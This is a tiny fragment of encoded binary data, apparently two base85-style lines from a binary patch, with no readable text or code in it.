zzR=T699zSXYKpId>~}~?&3`hLf|(599^mv$-vC9Y0=1U5w(wgxWz$w`EMUY*bVTPg
z#likTWt4aXoW7Y(e*